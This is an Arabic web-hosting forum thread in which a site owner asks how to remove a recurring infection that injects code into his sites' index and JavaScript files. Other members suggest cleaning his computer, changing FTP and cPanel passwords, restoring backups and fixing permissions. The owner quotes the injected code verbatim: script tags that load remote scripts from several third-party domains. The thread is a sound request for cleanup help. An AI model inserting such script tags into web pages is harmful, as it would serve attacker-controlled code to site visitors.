فايروس مدوخي في كل مواقعي

[عقارات]

بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته


أخواني الكرام من فترة اقحتم فايروس مواقعي وقد سبب لي العديد من الخسائر والتعب ولم أستطع محاربته


أود أن أوضح لكم الأمور التالية

الاستضافة هي هوست منستر لايوجد بها خاصية سكان فايروس وقد راسلتهم دون جدوى


قمت بتغيير تصاريح العديد من الصفحات الى 440


الفايروس يقوم بنسخ كود في صفحة الاندكس وبعد الصفحات الأخرى


قمت بتحميل المواقع على الجهاز وعملت سكان لكن لم يتم اكتشاف اي شي

وبشكل مستمر تصنف مواقعي مضره من قبل جوجل واقوم بازالت هذا الضرر


وحاليا هذا الموقع على سبيل المثال مصاب

http://www.treidnt.net

وهذا مثال على بعض الاضرار التي اتعرض لها بستمرار



هل هناك طريقة لحل هذه المشكلة

مع العلم أن حجم ملفات المواقع أكثر من 10 جياجا

أرجو المساعدة والإرشاد للضرورة

[المظفر بالله]

الفيروس لديك على جهازك, وقد خزن معلومات الدخول لديه ويستخدمها في دس الفيروس في موقعك, انصحك اولاً تنظف جهازك تماماً
ثم تروح تغيير الباسوورد لحسابات مواقعك
اذا امكن تحذف ملفات السيرفر عندك وترفع نسخ جديدة من السكربتات اللي بتستخدمها.

[عقارات]

الفيروس لديك على جهازك, وقد خزن معلومات الدخول لديه ويستخدمها في دس الفيروس في موقعك, انصحك اولاً تنظف جهازك تماماً
ثم تروح تغيير الباسوورد لحسابات مواقعك
اذا امكن تحذف ملفات السيرفر عندك وترفع نسخ جديدة من السكربتات اللي بتستخدمها.

عزيزي شكرًا لك.

تم تغيير الجهاز كله ووضع انتي فايروس

والباسوردات أيضا

وحذف الاف تي بي وتحميلة من جديد وعدم استخدامه بالعموم

اما اني احذف الملفات واحملها من جديد فهذا لا استطيع القيام به للحجم وتراخيص

هل يوجد برنامج يقوم بعمل سكان للموقع وهو مرفوع ؟؟

حتى لوكان غير مجاني

[المظفر بالله]

لا اعرف, انا شخصياً اقوم بحل غريب, اقوم بعمل نسخ احتياطي وانزله على جهازي وافحصه من الفيروسات, وين فيه فيروس اشوف مساره واروح احذفه من على السيرفر.

لكن الحجم عندك كبير قد تتغلب في تنزيل النسخة.

[عقارات]

لا اعرف, انا شخصياً اقوم بحل غريب, اقوم بعمل نسخ احتياطي وانزله على جهازي وافحصه من الفيروسات, وين فيه فيروس اشوف مساره واروح احذفه من على السيرفر.

لكن الحجم عندك كبير قد تتغلب في تنزيل النسخة.

شكرا لك مره أخرى

لكني أخي قمت بهذه الطريقة على الملفات المصابة لكن الانتي فايروس لم يصطاده ( الافاست ، الكاسبر)

[عقارات]

أريد مكافة الفايروس بأسرع وقت

أرجو المساعدة (

[المظفر بالله]

شكرا لك مره أخرى

لكني أخي قمت بهذه الطريقة على الملفات المصابة لكن الانتي فايروس لم يصطاده ( الافاست ، الكاسبر)

بالنسبة لي كان AVG Internet Security يكشف الشيلات والفيروسات مثل والاي فريم وغيره من الفيروسات كالتي تزرع في ملفات php و html وغيرها ...

[تركي العبدلي]

الفايروس اخر الامتداد حقه ( ru ) روسي يعني ؟

اذا نعم

هذا الفايروس مايدخل الا في ملفات الهتمل الانديكس + ملفات الجافا سكربت

الله يعينك تفتح ملف ملف وتبحث عنه وتحذف الكود الخاف فيه من الفريم

يتبع

قوقل اعطاك تحذير ؟

اذا نعم ادخل ويب ماستر قوقل وشوف الرابط اللي معطيك قوقل فيه الفايروس

وتبعه عن طريق الاف تي بي ونظفه

موفق خير

[عقارات]

الفايروس اخر الامتداد حقه ( ru ) روسي يعني ؟

اذا نعم

هذا الفايروس مايدخل الا في ملفات الهتمل الانديكس + ملفات الجافا سكربت

الله يعينك تفتح ملف ملف وتبحث عنه وتحذف الكود الخاف فيه من الفريم

يتبع

قوقل اعطاك تحذير ؟

اذا نعم ادخل ويب ماستر قوقل وشوف الرابط اللي معطيك قوقل فيه الفايروس

وتبعه عن طريق الاف تي بي ونظفه

موفق خير

شكرا لك اخي الكريم

هذا الكود الذي يضعه
<script type="text/javascript" src="http://safehousefacility.com/search.php"></script><script type="text/javascript" src="http://terkom.pl/search.php"></script>

جوجل عطاني تحذير وشلت التحذير لكن يرجع بعد فترة ما ادري كيف مع اني معطي تصريح لمعظم الصفحات 440

[عقارات]

مثال آخر على الجمل التي يكتبها الفايورس

<script type="text/javascript" src="http://quanvbpl.vnbis.com/counter.js"></script><script type="text/javascript" src="http://hobbypartner.nl/facebook.php"></script><script type="text/javascript" src="http://studiodada.biz/js.php"></script><script type="text/javascript" src="http://unicornteleservices.com/search.php"></script><script type="text/javascript" src="http://affordablementoring.com/search.php"></script> 

[ghanou]

أخي سابقا حدثت لي نفس المشكلة .. الصراحة مشكلة متعبة جدا
جربت جميع الحلول التي ذكرتها لكن لم تفد بشيئ

لهذا قمت بحذف جميع ملفات موقعي و لم أترك شيئ بعدها قمت برفع نسخة إحتياطية سليمة للأسبوع الماضي
و تم حل المشكلة بعدها

----
يعني أنت تذهب الآن تقوم بحذف جميع ملفات الموقع و قم برفع نسخة إحتياطية للموقع
إذا لم تكن لديك نسخة إحتياطية فصعب أنك تشيل الفايرس
و شركة الاستضافة لا اعتقد انها ستفعل لك شيئ ..

بالتوفيق

[Neklawy.com.eg]

عليكم السلام ورحمة الله وبركاته

اخى العزيز هذه المشكلة تحدث بسبب وجود الفايروس فى جهازك ، ويتم انتقاله الى الموقع عبر استخدامك FTP أو مدير الملفات فى cPanel ولا يوجد اى طريقة آخرى لأنتقال الفايروس الى موقعك بحيث لا يمكن انتقال الفايروس من حساب الى حساب او يكون الفايروس فى السيرفر نفسه او كل هذه الأحتمالات التى من الممكن التفكير فيها حيث ان بيئة اللنكس تختلف على بيئة الويندوز من ناحية الملفات التنفيذية

الحل هو كما اشار إليه الأخوة الأعزاء

- أولاً: تنظيف جهاز الكمبيوتر المستخدم للدخول الى الموقع من الفايروسات
ملحوظة: هذه الفايروسات أغلب الأحيان برامج الأنتي فايروس لا تمسكها ، وانصحك بوضع برامج تكون خاصة بـ Internet Security

- ثانياً تنظيف ملفات الموقع يدوياً ، بمعنى القيام بتنزيل الملفات وازالة الكود المزروع بداخلها (هذا فى حالة خلو الجهاز من الفايروسات) - اغلب هذه الفايروسات تقوم بأصابة ملفات index - او ملفات الجافا js

- ثالياً: يجب القيام بتغيير كلمة مرور لوحة التحكم cPanel ثم اعادة رفع الملفات النظيفة الى الموقع ، لأن الفايروس يقوم بأستخدام معلومات الدخول لأعتباره مستخدم ويقوم بزراعة أكواده من جديد

فى حالة تنظيف الفايروس بواسطة برامج مضادة الفايروسات المدمجة مع لوحة التحكم مثل ClamAV ، فأنه هذه النوعية من البرمجيات تقوم بحذف الملف المصاب بالكامل دون تنظيفه ، لذلك يجب تنظيف الملفات بطريقة يدوية

ملحوظة: هناك طرق اخرى لتنظيف هذه النوعية من الفايروسات ولكنها تتطلب الدخول الى السيرفر ذاته ، وبما انك على حساب استضافة فلا يمكن القيام بعمل شىء الا التنظيف اليدوي

عذراً للأطالة

تحياتى لك

[THE STEEL]

اخي الكريم اذا الكود مزروع بصفحات php و html
خليه مستضيفك يحذفه لك
في امر بالسيرفر يحذف الكود الموجود بجميع الصفحات
انا حصلت معي وخليت المستضيف يحذفها لي بدقايق
بالتوفيق ان شاء الله.

[Flying way]

الفايروس اخر الامتداد حقه ( ru ) روسي يعني ؟

اذا نعم

هذا الفايروس مايدخل الا في ملفات الهتمل الانديكس + ملفات الجافا سكربت

هذا الكود تابع لموقع روسي

يقوم هذا الكود بالانتشار في ملفات index سواء html أو htm أو php

لذلك: 1- يتوجب عليك أن تفتح كل مجلد في موقعك
2- تفتح ملف index بواسطة المفكرة وتحذف هذا الكود وبعد ذلك ترفع الملف
3- تغير تصريح المجلد إلى 555 بحيث لا يمكن الكتابة داخل المجلد

أو أن تحظر أي أرتباط لموقع مع الرابط الموجود بهذه الكود من خلال ملف .htaccess - وللأسف لا أعرف هذه الطريقة

[Neklawy.com.eg]

هذا الكود تابع لموقع روسي

3- تغير تصريح المجلد إلى 555 بحيث لا يمكن الكتابة داخل المجلد

أسمحلى من فضلك بالتعقيب على ردك الكريم

اخطر ما فى الآمر تغيير تصاريح المجلدات الى اى تصريح مختلف عن 755 ، وحتى اذا تم تغيير التصريح فأنه سيتم الكتابة على الملف ، لأن طبيعة هذه الفايروسات هى وكأنها مستخدم FTP يقوم بتنزيل الملف واعادة رفعه بالكود المزروع

هذا التصريح يعرض الموقع الى تجاهل السيرفر عن أخذ النسخ الأحتياطي لأى مجلد يحمل تصريح خاطىء مثل 111 او 555 او اى تصريح يختلف عن 755 او 777

- استخدام اى رولز لـ htaccess لن تفيد فى حل هذه المشكلة اطلاقاً والسبب أوضحته اعلاه (طبيعة هذه الفايروسات هى وكأنها مستخدم FTP يقوم بتنزيل الملف واعادة رفعه بالكود المزروع) فالمشكلة ليست تتعلق بالتصفح انما يتعلق ببروتوكول نقل الملفات

تحياتى لك